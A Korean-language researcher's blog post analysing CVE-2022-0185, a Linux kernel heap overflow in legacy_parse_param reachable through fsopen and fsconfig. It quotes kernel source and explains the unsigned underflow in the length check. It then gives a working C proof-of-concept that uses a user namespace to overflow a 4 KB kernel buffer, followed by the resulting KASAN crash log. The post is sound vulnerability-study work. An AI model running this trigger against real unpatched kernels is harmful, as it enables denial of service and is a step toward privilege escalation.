An Exhibition of A Hunger Artist 1nzag (graypanda) Security researcher

CVE-2022-0185 Review - Part 1

OverView

해당 취약점은 리눅스의 fsopen syscall을 통해 레거시 파일 시스템 컨텍스트를 생성할때 발생하는 Out-of-bounds Write 취약점이다.

What is fsopen

fsopen system call은 linux-5.2 버전부터 도입된 파일시스템 마운트를 위한 시스템콜이다.

기존에는 mount(2) 를 통해 파일시스템을 한번에 마운트 했지만, 마운트를 하기 위해 한번에 여러 인자를 줘야 하고, 설정의 확장이 어려워 fsopen 으로 파일시스템 컨텍스트를 생성하고,

fsconfig 로 설정을 추가한 뒤, fsmount 로 마운트를 하는 방식으로 변경되었다.

이때 기존의 파일시스템 역시 fsopen 으로 마운트 할 수 있게 하기 위해 Legacy wrapper 를 사용한다.

Vulnerability

그럼 이제 fsopen 수행 도중 어떠한 상황에서 취약점이 발생하는지 살펴보자.

먼저 fsopen 을 통해 파일시스템 컨텍스트를 생성하는 과정은 다음과 같다.

SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
	struct file_system_type *fs_type;
	struct fs_context *fc;
	const char *fs_name;
	int ret;

	if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
		return -EPERM;

	if (flags & ~FSOPEN_CLOEXEC)
		return -EINVAL;

	fs_name = strndup_user(_fs_name, PAGE_SIZE);
	if (IS_ERR(fs_name))
		return PTR_ERR(fs_name);

	fs_type = get_fs_type(fs_name);
	kfree(fs_name);
	if (!fs_type)
		return -ENODEV;

	fc = fs_context_for_mount(fs_type, 0);
	put_filesystem(fs_type);
	if (IS_ERR(fc))
		return PTR_ERR(fc);

	fc->phase = FS_CONTEXT_CREATE_PARAMS;

	ret = fscontext_alloc_log(fc);
	if (ret < 0)
		goto err_fc;

	return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);

err_fc:
	put_fs_context(fc);
	return ret;
}

먼저, fsopen syscall 을 호출하면, 파일시스템 이름을 통해 파일시스템 타입을 가져온다 (get_fs_type). 그 후 fs_context_for_mount 함수를 통해 파일시스템 컨텍스트 객체인 fs_context 를 생성한다.

fs_context_for_mount 함수는 alloc_fs_context 함수를 호출하여 fs_context 객체를 할당한다.


static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
				      struct dentry *reference,
				      unsigned int sb_flags,
				      unsigned int sb_flags_mask,
				      enum fs_context_purpose purpose)
{
	int (*init_fs_context)(struct fs_context *);
	struct fs_context *fc;
	int ret = -ENOMEM;

	fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL_ACCOUNT);
	if (!fc)
		return ERR_PTR(-ENOMEM);

	fc->purpose	= purpose;
	fc->sb_flags	= sb_flags;
	fc->sb_flags_mask = sb_flags_mask;
	fc->fs_type	= get_filesystem(fs_type);
	fc->cred	= get_current_cred();
	fc->net_ns	= get_net(current->nsproxy->net_ns);
	fc->log.prefix	= fs_type->name;

	mutex_init(&fc->uapi_mutex);

	switch (purpose) {
	case FS_CONTEXT_FOR_MOUNT:
		fc->user_ns = get_user_ns(fc->cred->user_ns);
		break;
	case FS_CONTEXT_FOR_SUBMOUNT:
		fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
		break;
	case FS_CONTEXT_FOR_RECONFIGURE:
		atomic_inc(&reference->d_sb->s_active);
		fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
		fc->root = dget(reference);
		break;
	}

	/* TODO: Make all filesystems support this unconditionally */
	init_fs_context = fc->fs_type->init_fs_context;
	if (!init_fs_context)
		init_fs_context = legacy_init_fs_context;

	ret = init_fs_context(fc);
	if (ret < 0)
		goto err_fc;
	fc->need_free = true;
	return fc;

err_fc:
	put_fs_context(fc);
	return ERR_PTR(ret);
}

struct fs_context *fs_context_for_mount(struct file_system_type *fs_type,
					unsigned int sb_flags)
{
	return alloc_fs_context(fs_type, NULL, sb_flags, 0,
					FS_CONTEXT_FOR_MOUNT);
}
EXPORT_SYMBOL(fs_context_for_mount);

이때, fs_open 을지원하는 파일시스템은 init_fs_context 필드가 존재하지만, 지원하지 않는 파일시스템은 해당 필드가 존재하지 않아 NULL로 초기화된다.

static struct file_system_type ext4_fs_type = {
	.owner		= THIS_MODULE,
	.name		= "ext4",
	.mount		= ext4_mount,
	.kill_sb	= kill_block_super,
	.fs_flags	= FS_REQUIRES_DEV | FS_ALLOW_IDMAP,
};
MODULE_ALIAS_FS("ext4"); // Not exists


static struct file_system_type squashfs_fs_type = {
	.owner = THIS_MODULE,
	.name = "squashfs",
	.init_fs_context = squashfs_init_fs_context, // exists!
	.parameters = squashfs_fs_parameters,
	.kill_sb = kill_block_super,
	.fs_flags = FS_REQUIRES_DEV
};
MODULE_ALIAS_FS("squashfs");

따라서 fsopen 을 지원하지 않는 파일시스템의 경우 파일시스템의 컨텍스트를 legacy_context 로 지정하고, legacy_init_fs_context 함수를 통해 해당 컨텍스트를 초기화 한다.

if (!init_fs_context)
    init_fs_context = legacy_init_fs_context;

ret = init_fs_context(fc);
static int legacy_init_fs_context(struct fs_context *fc)
{
	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL_ACCOUNT);
	if (!fc->fs_private)
		return -ENOMEM;
	fc->ops = &legacy_fs_context_ops;
	return 0;
}

legacy_init_fs_context 함수는 fs_context 의 ops 필드를 legacy_fs_context_ops 로 지정한다.

const struct fs_context_operations legacy_fs_context_ops = {
	.free			= legacy_fs_context_free,
	.dup			= legacy_fs_context_dup,
	.parse_param		= legacy_parse_param,
	.parse_monolithic	= legacy_parse_monolithic,
	.get_tree		= legacy_get_tree,
	.reconfigure		= legacy_reconfigure,
};

생성된 legacy_fs_context 를 통해 fs_config 를 하면 parse_param 을 통해 config 인자를 처리하는데, 이때에는 legacy_parse_param 함수가 호출된다.

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;
	int ret;

	ret = vfs_parse_fs_param_source(fc, param);
	if (ret != -ENOPARAM)
		return ret;

	if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
		return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	case fs_value_is_flag:
		len += strlen(param->key);
		break;
	default:
		return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
			      param->key);
	}

	if (len > PAGE_SIZE - 2 - size)
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

이때 전달되는 인자인 fs_parameter 의 구조는 다음과 같다.

struct fs_parameter {
	const char		*key;		/* Parameter name */
	enum fs_value_type	type:8;		/* The type of value here */
	union {
		char		*string;
		void		*blob;
		struct filename	*name;
		struct file	*file;
	};
	size_t	size;
	int	dirfd;
};

여기서 legacy_parse_param 함수의 다음 부분을 보자

switch (param->type) {
case fs_value_is_string:
    len = 1 + param->size;
    fallthrough;

...

if (len > PAGE_SIZE - 2 - size)
    return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
    (param->type == fs_value_is_string &&
        memchr(param->string, ',', param->size)))
    return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
                param->key);
if (!ctx->legacy_data) {
    ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
    if (!ctx->legacy_data)
        return -ENOMEM;
}

...

if (param->type == fs_value_is_string) {
    ctx->legacy_data[size++] = '=';
    memcpy(ctx->legacy_data + size, param->string, param->size);
    size += param->size;
}

value 가 string 인 경우, len 에 1과 param->size 를 더한다. 이는 keyvalue 를 구분하기 위한 ,value 의 크기를 더한 값이다.

그리고 그 후에 len 의 값의 크기를 검사한 후, PAGE_SIZE 만큼 할당한 곳에 param->size 만큼 뒤에 데이터를 추가한다.

여기서 검사하는 기준을 보자. len > PAGE_SIZE - 2 - size 에서 모든 자료형은 size_t 로, 부호없는 정수이다.

만약 size 값이 PAGE_SIZE - 2 (4094) 보다 크다면, 언더플로우가 나서 len 이 항상 PAGE_SIZE - 2 - size 보다 작아지게 될것이다.

그렇다면 그 이후에 할당한 kmalloc 객체에서 PAGE_SIZE 보다 큰 크기로 값을 쓸 수 있게되어 힙 영역에서의 오버플로우가 발생한다!

그렇지만 문제는 param-size 크기의 한계이다. fs_config를 통해서 size를 줄 수 있는 최대 크기는 256 바이트이다.

SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)

...

case FSCONFIG_SET_STRING:
    param.type = fs_value_is_string;
    param.string = strndup_user(_value, 256);
    if (IS_ERR(param.string)) {
        ret = PTR_ERR(param.string);
        goto out_key;
    }
    param.size = strlen(param.string);
    break;

한번에 4095 이상의 바이트는 줄 수 없지만, 데이터를 쌓아서 size 의 크기를 늘릴수는 있다.

len = 1 + param->size; 인 상황에서 len > PAGE_SIZE - 2 - size 조건을 유지해가면서 언더플로우를 일으킬 수 있는 방법은

param 의 사이즈를 누적시켜 마지막에 최종 size를 4095 로 맞추는 것이다.

가장 간단한 방법은 key 값을 33 으로 설정하고 177번 fsconfig 를 반복하면 된다.

따라서 다음의 poc 코드로 KASAN 을 트리거하는데에 성공했다.

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER) < 0) {
        perror("unshare");
        exit(1);
    }
    temp = open("/proc/self/setgroups", O_WRONLY);
    if (temp < 0) {
        perror("open setgroups");
        exit(1);
    }
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    if (temp < 0) {
        perror("open uid_map");
        exit(1);
    }
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    if (temp < 0) {
        perror("open gid_map");
        exit(1);
    }
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

int main(void) { 
    unshare_setup(getuid(), getgid());

	char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	int fd = 0;
	fd = fsopen("ext4", 0);
    if (fd < 0) {
        perror("fsopen");
        exit(1);
    }
    printf("fsopen fd: %d\n", fd);

	for (int i = 0; i < 130; i++) { 
		if (fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0) < 0) {
            perror("fsconfig");

        }
	}
    printf("Finished fsconfig loop\n");
    return 0;
}
root@virtme-ng:/verifier# ./poc
fsopen fd: 3
[   14.663811] ==================================================================
[   14.664338] BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x3fc/0x5e0
[   14.664572] Write of size 1 at addr ff110000047a3000 by task poc/137
[   14.664572] 
[   14.664572] CPU: 10 PID: 137 Comm: poc Not tainted 5.15.4 #2
[   14.664572] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014
[   14.664572] Call Trace:
[   14.664572]  <TASK>
[   14.664572]  dump_stack_lvl+0x34/0x44
[   14.664572]  print_address_description.constprop.0+0x1f/0x140
[   14.664572]  ? legacy_parse_param+0x3fc/0x5e0
[   14.664572]  kasan_report.cold+0x7f/0x11b
[   14.664572]  ? legacy_parse_param+0x3fc/0x5e0
[   14.664572]  legacy_parse_param+0x3fc/0x5e0
[   14.664572]  vfs_parse_fs_param+0x1a3/0x340
[   14.664572]  __do_sys_fsconfig+0x458/0x8a0
[   14.664572]  ? fscontext_read+0x280/0x280
[   14.664572]  ? hrtimer_interrupt+0x319/0x740
[   14.664572]  ? fpregs_assert_state_consistent+0x1d/0xa0
[   14.664572]  do_syscall_64+0x3b/0x90
[   14.664572]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   14.664572] RIP: 0033:0x7fda68da390d
[   14.664572] Code: 5b 41 5c c3 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d f3 b4 0f 00 f7 d8 64 89 01 48
[   14.664572] RSP: 002b:00007ffd55190dc8 EFLAGS: 00000283 ORIG_RAX: 00000000000001af
[   14.664572] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fda68da390d
[   14.664572] RDX: 00005571dcf9b0bd RSI: 0000000000000001 RDI: 0000000000000003
[   14.664572] RBP: 00007ffd55190df0 R08: 0000000000000000 R09: 0000000300000075
[   14.664572] R10: 00005571dcf9b080 R11: 0000000000000283 R12: 00007ffd55190f08
[   14.664572] R13: 00005571dcf9a4f9 R14: 00005571dcf9cd58 R15: 00007fda68ef1040
[   14.664572]  </TASK>
[   14.664572] 
[   14.664572] Allocated by task 137:
[   14.664572] 
[   14.664572] The buggy address belongs to the object at ff110000047a2000
[   14.664572]  which belongs to the cache kmalloc-4k of size 4096
[   14.664572] The buggy address is located 0 bytes to the right of
[   14.664572]  4096-byte region [ff110000047a2000, ff110000047a3000)
[   14.664572] The buggy address belongs to the page:
[   14.664572] 
[   14.664572] Memory state around the buggy address:
[   14.664572]  ff110000047a2f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   14.664572]  ff110000047a2f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   14.664572] >ff110000047a3000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   14.664572]                    ^
[   14.664572]  ff110000047a3080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   14.664572]  ff110000047a3100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   14.664572] ==================================================================